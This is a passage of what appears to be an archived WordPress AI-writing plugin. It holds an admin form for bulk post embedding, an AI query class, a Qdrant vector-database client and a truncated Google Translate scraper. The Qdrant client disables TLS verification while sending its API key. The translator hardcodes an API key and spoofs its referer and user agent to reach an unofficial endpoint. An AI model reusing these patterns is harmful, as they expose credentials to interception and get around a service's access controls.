colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_scrape_url_embeddings"><?php echo esc_html__("Scrape", 'aiomatic-automatic-ai-content-writer');?></button><br> </td> </tr> </tbody> </table> </div> </div> <div id="tab-4" class="tab-content"> <br/> <table class="widefat"> <tr> <td colspan="3"> <h2> <?php echo esc_html__("Auto Index Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></h3> <div class="crf_bord cr_color_red cr_width_full"><?php echo esc_html__('Bulk embedding creation might consume a large number of AI model tokens to complete! Be sure you check', 'aiomatic-automatic-ai-content-writer') . ' <a href="https://openai.com/pricing" target="_blank">' . esc_html__('token pricing', 'aiomatic-automatic-ai-content-writer') . '</a> ' . esc_html__('before you continue. You can filter which posts you need to be indexed.', 'aiomatic-automatic-ai-content-writer');?></div> </td> </tr> <tr><td colspan="2"> <?php echo esc_html__("INFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above! Also, be sure to save settings before running bulk post editing!", 'aiomatic-automatic-ai-content-writer'); ?> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run manual post editing, now? Please check configuration from below before clicking 'Run Post Editing'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manually Run Post Editing Now:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_100 cr_center"> <img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" class="cr_hidden cr_align_middle" title="status"> </td> <td> <div class="codemainfzr"> <select id="actions" class="actions" name="aiomatic_bulk_actions" onchange="actionsEmbChangedManual(this.value);" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run"><?php echo esc_html__("Run Post Editing", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> </table> <table class="widefat"> <tr> <td colspan="2"> <h2> <?php echo esc_html__("Bulk AI Embeddings Settings:", 'aiomatic-automatic-ai-content-writer');?></h3> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of posts to be processed at each run.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Posts To Process:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="max_nr" step="1" min="1" class="cr_width_full" placeholder="Maximum Post Count" name="max_nr" value="10"/> </div> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to reindex all posts (also the ones which are already indexed).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Reindex Every Post:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" id="no_twice" name="no_twice"> </div> </td> </tr> <tr> <td> <hr/> </td> <td> <hr/> </td> </tr> <tr> <td colspan="2"> <h3><?php echo esc_html__("Posts From Which To Create Embeddings:", 'aiomatic-automatic-ai-content-writer');?></h3> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. -1,-2,-3]", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Author IDs:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="author_id" name="author_id" class="cr_width_full" value="" placeholder="Author IDs"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - use 'user_nicename' (NOT name)", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Author Names:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="author_name" name="author_name" class="cr_width_full" value="" placeholder="Author names"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string,string,string) - use category slugs instead of names. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Category Names:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="category_name" name="category_name" class="cr_width_full" value="" placeholder="Category names"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string,string,string) - use tag slugs instead of names. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Tag Names:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="tag_name" name="tag_name" value="" class="cr_width_full" placeholder="Tag names"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Comma separated list of post IDs to edit.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post IDs:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_id" name="post_id" value="" class="cr_width_full" placeholder="Post ID"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - use post slug.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_name" name="post_name" value="" class="cr_width_full" placeholder="Post name"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - use page id.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Page ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="page_id" name="page_id" value="" class="cr_width_full" placeholder="Page ID"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - use page slug.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Page Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="pagename" name="pagename" value="" class="cr_width_full" placeholder="Page name"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - use page id. Return just the child Pages.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_parent" name="post_parent" value="" class="cr_width_full" placeholder="Post parent ID"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string,string) - The post types to return. Valid values are: post, page, revision, attachment, other-custom-post-types. To match any post type enter the keyword: any. The default is post (if left empty).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="type_post" name="type_post" value="post" class="cr_width_full" placeholder="Post type"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - The post status to return. Valid values are: publish, pending, draft, auto-draft, future, private, inherit, trash, other-custom-post-statuses", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_status" name="post_status" value="" class="cr_width_full" placeholder="Post status"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Posts To Change:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-1" step="1" id="max_posts" name="max_posts" class="cr_width_full" value="" placeholder="Max posts"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - number of post to displace or pass over.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Offset:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-1" step="1" id="search_offset" name="search_offset" class="cr_width_full" value="" placeholder="Post offset"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Custom field key.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Meta Key Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="meta_name" name="meta_name" value="" class="cr_width_full" placeholder="Meta Key Name"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Custom field value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Meta Key Value:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="meta_value" name="meta_value" value="" class="cr_width_full" placeholder="Meta Key Value"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "(string) - Passes along the query string variable from a search. For example usage see: <a href='%s' target='_blank'>this link</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'http://www.wprecipes.com/how-to-display-the-number-of-results-in-wordpress-search' ); ?> </div> </div> <b><?php echo esc_html__("Search Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="search_query" name="search_query" value="" class="cr_width_full" placeholder="Search query"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - 4 digit year (e.g. 2011).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Year Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="year" name="year" value="" class="cr_width_full" placeholder="Year"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - Month number (from 1 to 12).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Month Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="12" step="1" id="month" name="month" class="cr_width_full" value="" placeholder="Month"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - Day of the month (from 1 to 31).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Day Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="31" step="1" id="day" name="day" class="cr_width_full" value="" placeholder="Day"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select which posts should be processed - posts with or without featured images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="featured_image" name="featured_image" class="cr_width_full" > <option value="any"><?php echo esc_html__("Any", 'aiomatic-automatic-ai-content-writer');?></option> <option value="with"><?php echo esc_html__("With Featured Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="without"><?php echo esc_html__("Without Featured Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Designates the ascending or descending order of the 'orderby' parameter. Defaultto 'DESC'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Order Results:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="order" name="order" class="cr_width_full" > <option value="default"><?php echo esc_html__("Default", 'aiomatic-automatic-ai-content-writer');?></option> <option value="DESC"><?php echo esc_html__("Descendent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ASC"><?php echo esc_html__("Ascendent", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Sort retrieved posts by parameter. Defaults to 'date'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Order Results By:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="orderby" name="orderby" class="cr_width_full" > <option value="default"><?php echo esc_html__("Default", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer');?></option> <option value="none"><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ID"><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?></option> <option value="author"><?php echo esc_html__("Author", 'aiomatic-automatic-ai-content-writer');?></option> <option value="title"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer');?></option> <option value="modified"><?php echo esc_html__("Modified", 'aiomatic-automatic-ai-content-writer');?></option> <option value="parent"><?php echo esc_html__("Parent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="rand"><?php echo esc_html__("Random", 'aiomatic-automatic-ai-content-writer');?></option> <option value="comment_count"><?php echo esc_html__("Comment Count", 'aiomatic-automatic-ai-content-writer');?></option> <option value="menu_order"><?php echo esc_html__("Menu Order", 'aiomatic-automatic-ai-content-writer');?></option> <option value="meta_value"><?php echo esc_html__("Meta Value", 'aiomatic-automatic-ai-content-writer');?></option> <option value="meta_value_num"><?php echo esc_html__("Meta Value Number", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> </table> </div> </div> <?php } ?>�������������������������������������������������������������������������������������������������������������������������������������������������������res/QueryClass.php����������������������������������������������������������������������������������0000644�����������������00000011111�14757771437�0010162 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined('ABSPATH') or die(); class Aiomatic_Query { public $maxTokens = 16; public $temperature = 0.8; public $stop = null; public $env = ''; public $prompt = ''; public $model = ''; public $mode = ''; public $apiKey = null; public $session = null; public $maxResults = 1; public $image_size = '512x512'; public $assistant_id = ''; public function __construct( $prompt = '', $maxTokens = 16, $model = 'gpt-4o-mini', $temperature = 0.8, $stop = null, $env = '', $mode = 'completion', $apiKey = null, $session = null, $maxResults = 1, $image_size = '512x512', $assistant_id = '' ) { $this->prompt = $prompt; $this->maxTokens = $maxTokens; $this->model = $model; $this->temperature = $temperature; $this->stop = $stop; $this->env = $env; $this->mode = $mode; $this->apiKey = $apiKey; $this->session = $session; $this->maxResults = $maxResults; $this->image_size = $image_size; $this->assistant_id = $assistant_id; } /** * The environment, like "chatbot", "imagesbot", "chatbot-007", "textwriter", etc... * Used for statistics, mainly. * @param string $env The environment. */ public function setEnv( $env ) { $this->env = $env; } /** * ID of the model to use. * @param string $model ID of the model to use. */ public function setModel( $model ) { $this->model = $model; } /** * ID of the assistant_id to use. * @param string $assistant_id ID of the assistant to use. */ public function setAssistantID( $assistant_id ) { $this->assistant_id = $assistant_id; } /** * Given a prompt, the model will return one or more predicted completions. * It can also return the probabilities of alternative tokens at each position. * @param string $prompt The prompt to generate completions. */ public function setPrompt( $prompt ) { $this->prompt = $prompt; } /** * The API key to use. * @param string $apiKey The API key. */ public function setApiKey( $apiKey ) { $this->apiKey = $apiKey; } /** * The session ID to use. * @param string $session The session ID. */ public function setSession( $session ) { $this->session = $session; } /** * How many completions to generate for each prompt. * Because this parameter generates many completions, it can quickly consume your token quota. * Use carefully and ensure that you have reasonable settings for max_tokens and stop. * @param float $maxResults Number of completions. */ public function setMaxResults( $maxResults ) { $this->maxResults = $maxResults; } /** * How many completions to generate for each prompt. * Because this parameter generates many completions, it can quickly consume your token quota. * Use carefully and ensure that you have reasonable settings for max_tokens and stop. * @param float $maxImageSize Number of completions. */ public function setImageSize( $image_size ) { $this->image_size = $image_size; } /** * The maximum number of tokens to generate in the completion. * The token count of your prompt plus max_tokens cannot exceed the model's context length. * Most models have a context length of 2048 tokens (except for the newest models, which support 4096). * @param float $prompt The maximum number of tokens. */ public function setMaxTokens( $maxTokens ) { $this->maxTokens = $maxTokens; } /** * Set the sampling temperature to use. Higher values means the model will take more risks. * Try 0.9 for more creative applications, and 0 for ones with a well-defined answer. * @param float $temperature The temperature. */ public function setTemperature( $temperature ) { $temperature = floatval( $temperature ); if ( $temperature > 1 ) { $temperature = 1; } if ( $temperature < 0 ) { $temperature = 0; } $this->temperature = $temperature; } /** * Up to 4 sequences where the API will stop generating further tokens. * The returned text will not contain the stop sequence. * @param float $stop The stop. */ public function setStop( $stop ) { if ( !empty( $stop ) ) { $this->stop = $stop; } } } ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/Qdrant.php��������������������������������������������������������������������������������������0000644�����������������00000014065�14757771437�0007333 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_qdrant_run_request( $method, $apikey, $server, $url, $query = null) { $headers = "accept: application/json, charset=utf-8\r\ncontent-type: application/json\r\n" . "api-key: " . $apikey . "\r\n"; $body = $query ? json_encode( $query ) : null; $url = $server . $url; $options = [ "headers" => $headers, "method" => $method, "timeout" => 90, "body" => $body, "sslverify" => false ]; try { $response = wp_remote_request( $url, $options ); if ( is_wp_error( $response ) ) { throw new Exception( $response->get_error_message() ); } $responsebod = wp_remote_retrieve_body( $response ); if(empty($responsebod)) { throw new Exception( 'Empty response returned from Qdrant, code: ' . wp_remote_retrieve_response_code($response) ); } $jresponse = json_decode( $responsebod, true ); if ( !is_array( $jresponse ) ) { throw new Exception( 'Exception from Qdrant: ' . $jresponse ); } return $jresponse; } catch ( Exception $e ) { throw new Exception( '[Qdrant] ' . $e->getMessage() ); } return []; } function aiomatic_qdrant_add_index( $apikey, $server, $name ) { $dimension = 1536; $metric = 'Cosine'; $result = aiomatic_qdrant_run_request( 'PUT', $apikey, $server, '/collections/' . $name, [ 'vectors' => [ 'distance' => $metric, 'size' => $dimension, ] ] ); return $name; } function aiomatic_qdrant_delete_index( $apikey, $server, $name ) { $index = aiomatic_qdrant_run_request( 'DELETE', $apikey, $server, "/collections/" . $name ); $success = !empty( $index ); return $success; } function aiomatic_qdrant_list_indexes( $apikey, $server ) { $indexesIds = aiomatic_qdrant_run_request( 'GET', $apikey, $server, '/collections' ); $indexes = []; foreach ( $indexesIds['result']['collections'] as $row ) { $index = aiomatic_qdrant_run_request( 'GET', $apikey, $server, "/collections/" . $row['name'] )['result']; $indexes[] = [ 'name' => $row['name'], 'metric' => $index['config']['params']['vectors']['distance'], 'dimension' => $index['config']['params']['vectors']['size'], 'host' => $server, 'ready' => $index['status'] === "green" ]; } return $indexes; } function aiomatic_qdrant_list_vectors( $apikey, $server, $index, $limit, $offset ) { $vectors = aiomatic_qdrant_run_request( 'POST', $apikey, $server, "/collections/{$index}/points/scroll", [ 'limit' => $limit, 'offset' => $offset, 'with_payload' => false, 'with_vector' => false, ] ); $vectors = isset( $vectors['result']['points'] ) ? $vectors['result']['points'] : []; $vectors = array_map( function( $vector ) { return $vector['id']; }, $vectors ); return $vectors; } function aiomatic_qdrant_delete_vectors( $apikey, $server, $index, $ids, $deleteAll = false ) { if ( $deleteAll ) { $body = [ 'filter' => [ 'must' => [ [ "is_empty" => [ "key" => "any" ] ] ] ] ]; } else { $body = ['points' => $ids]; } $success = aiomatic_qdrant_run_request( 'POST', $apikey, $server, "/collections/{$index}/points/delete", $body ); $success = true; return $success; } function aiomatic_qdrant_add_vector( $apikey, $server, $index, $vector ) { $qid = aiomatic_qdrant_get_uuid(); $body = [ 'points' => [ [ 'id' => $qid, 'vector' => $vector['values'], 'payload' => [ 'title' => $vector['id'] ] ] ] ]; $res = aiomatic_qdrant_run_request( 'PUT', $apikey, $server, "/collections/{$index}/points", $body ); $success = isset( $res['status'] ) && $res['status'] === "ok"; if ( $success ) { return $qid; } $error = isset( $res['status']['error'] ) ? $res['status']['error'] : 'Unknown error from Qdrant.'; throw new Exception( $error ); } function aiomatic_qdrant_query_vectors( $apikey, $server, $index, $maxSelect, $vector ) { $body = [ 'limit' => $maxSelect, 'vector' => $vector, 'with_payload' => true ]; $res = aiomatic_qdrant_run_request( 'POST', $apikey, $server, "/collections/{$index}/points/search", $body ); $vectors = isset( $res['result'] ) ? $res['result'] : []; foreach ( $vectors as &$vector ) { $vector['metadata'] = $vector['payload']; } return $vectors; } function aiomatic_qdrant_get_vector( $apikey, $server, $index, $vectorId ) { $vectorId = $vectorId; $res = aiomatic_qdrant_run_request( 'GET', $apikey, $server, "/collections/{$index}/points/{$vectorId}" ); $removeVector = isset( $res['result']['id'] ) ? $res['result'] : null; if ( !empty( $removeVector ) ) { return [ 'id' => $vectorId, 'type' => isset( $removeVector['payload']['type'] ) ? $removeVector['payload']['type'] : 'manual', 'title' => isset( $removeVector['payload']['title'] ) ? $removeVector['payload']['title'] : '', 'values' => isset( $removeVector['vector'] ) ? $removeVector['vector'] : [] ]; } return null; } function aiomatic_qdrant_get_uuid($len = 32, $strong = true) { $data = openssl_random_pseudo_bytes($len, $strong); $data[6] = chr(ord($data[6]) & 0x0f | 0x40); $data[8] = chr(ord($data[8]) & 0x3f | 0x80); return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4)); } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-translator.php�������������������������������������������������������������������������0000644�����������������00000027632�14757771437�0012063 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class GoogleTranslator { public $ch; function __construct(&$ch) { $this->ch = $ch; } function translateText($sourceText, $fromLanguage, $toLanguage) { if(get_option('coderevo_translate_alt') == '1') { return $this->translateText_new($sourceText, $fromLanguage, $toLanguage); } else { return $this->translateText_old($sourceText, $fromLanguage, $toLanguage); } } function translateText_new($sourceText, $fromLanguage, $toLanguage) { $string = $sourceText; preg_match_all ( '{\[\d*\]}', $string, $all_protected_matchs ); $all_protected_matchs = $all_protected_matchs [0]; $string = preg_replace ( '{\[\d*\]}', '(*)', $string ); $string_arr = explode ( '(*)', $string ); $string_raw = implode ( '', $string_arr ); $string_enc = ''; $i = 0; foreach ( $string_arr as $single_string ) { if ($i == 0) { $string_enc = 'q=' . urlencode ( $single_string ); } else { $string_enc .= '&q=' . urlencode ( $single_string ); } $i++; } $string_raw = implode ( '', $string_arr ); $article_size = function_exists ( 'mb_strlen' ) ? mb_strlen ( $string_raw ) : strlen ( $string_raw ); if ($article_size > 13000) { throw new Exception ( 'Translated article is very long, it exceeds the limit of 13000 chars' ); } $tkk = $this->generateTkk (); $tk = $this->generateTk ( $string_raw, $tkk ); if ($fromLanguage == 'auto') $fromLanguage = 'auto'; $args = [ 'anno' => 3, 'client' => 'te_lib', 'format' => 'html', 'v' => '1.0', 'key' => 'AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw', 'logld' => 'vTE_20230725', 'sl' => $fromLanguage, 'tl' => $toLanguage, 'sp' => 'nmt', 'tc' => 1, 'sr' => 1, 'tk' => $tk, 'mode' => 1 ]; $curlurl = 'https://translate.googleapis.com/translate_a/t?' . http_build_query ( $args ); $curlpost = $string_enc; curl_setopt ( $this->ch, CURLOPT_URL, $curlurl ); curl_setopt ( $this->ch, CURLOPT_POST, true ); curl_setopt ( $this->ch, CURLOPT_POSTFIELDS, $curlpost ); curl_setopt ( $this->ch, CURLOPT_HEADER, 0 ); curl_setopt ( $this->ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $this->ch, CURLOPT_CONNECTTIMEOUT, 10 ); curl_setopt ( $this->ch, CURLOPT_TIMEOUT, 200 ); curl_setopt ( $this->ch, CURLOPT_REFERER, 'http://www.bing.com/' ); curl_setopt ( $this->ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36' ); curl_setopt ( $this->ch, CURLOPT_MAXREDIRS, 20 ); curl_setopt ( $this->ch, CURLOPT_FOLLOWLOCATION, 1 ); $x = 'error'; $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); if (trim ( $exec ) == '' || trim ( $exec ) == '""') { throw new Exception ( 'Empty response from gtranslate ' . $x ); } if (strpos ( $exec, 'Error 403' )) { throw new Exception ( 'Google returned forbidden which means proxies may be needed on the plugin settings page' ); } $json_result = json_decode ( $exec ); if(is_array($json_result [0])) { $json_changed = array(); foreach($json_result as $jrez) { if(is_array($jrez) && isset($jrez[0])) { $json_changed[] = $jrez[0]; } } if(!empty($json_changed)) { $json_result = $json_changed; } } if (! isset ( $json_result [0] )) { throw new Exception ( 'Can not get JSON from returned response: ' . $exec ); } $json_result_new= array(); foreach($json_result as $json_array){ if(is_array($json_array)){ $json_result_new[] = $json_array[0]; }else{ $json_result_new[] = $json_array; } } $json_result = $json_result_new; $returned_text_plain = implode ( '(*)', $json_result ); $returned_text_plain = preg_replace ( '{<i>.*?</i>}s', '', $returned_text_plain ); $returned_text_plain = str_replace ( array ( '<b>', '</b>' ), '', $returned_text_plain ); foreach ( $all_protected_matchs as $protected_term ) { $returned_text_plain = preg_replace ( '{\(\*\)}', $protected_term, $returned_text_plain, 1 ); } $translated = $returned_text_plain = str_replace ( '(*)', '', $returned_text_plain ); return $translated; } private function generateTkk() { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $upload_dir = wp_upload_dir (); $cache = $upload_dir ['basedir'] . '/tkk.cache'; if ($wp_filesystem->exists ( $cache ) && filemtime ( $cache ) > strtotime ( 'now - 1 hour' )) { return $wp_filesystem->get_contents ( $cache ); } $x = 'error'; $url = 'https://translate.googleapis.com/translate_a/element.js'; curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 ); curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url ) ); curl_setopt ( $this->ch, CURLOPT_HEADER, 0 ); curl_setopt ( $this->ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $this->ch, CURLOPT_CONNECTTIMEOUT, 10 ); curl_setopt ( $this->ch, CURLOPT_TIMEOUT, 200 ); curl_setopt ( $this->ch, CURLOPT_REFERER, 'http://www.bing.com/' ); curl_setopt ( $this->ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36' ); curl_setopt ( $this->ch, CURLOPT_MAXREDIRS, 20 ); curl_setopt ( $this->ch, CURLOPT_FOLLOWLOCATION, 1 ); $data = curl_exec ( $this->ch ); $response = $data; if(strstr($response, 'c._ctkk=\'') === false) { throw new Exception ( 'Failed to generate tkk' ); } $pos1 = strpos ( $response, 'c._ctkk=\'' ) + strlen ( 'c._ctkk=\'' ); $pos2 = strpos ( $response, '\'', $pos1 ); $tkk = substr ( $response, $pos1, $pos2 - $pos1 ); $wp_filesystem->put_contents ( $cache, $tkk ); return $tkk; } private function generateTk($f0, $w1) { if(!function_exists('mb_convert_encoding')) { return rand(77835, 519192) . '.' . rand(75055, 522556); } $w1 = explode ( 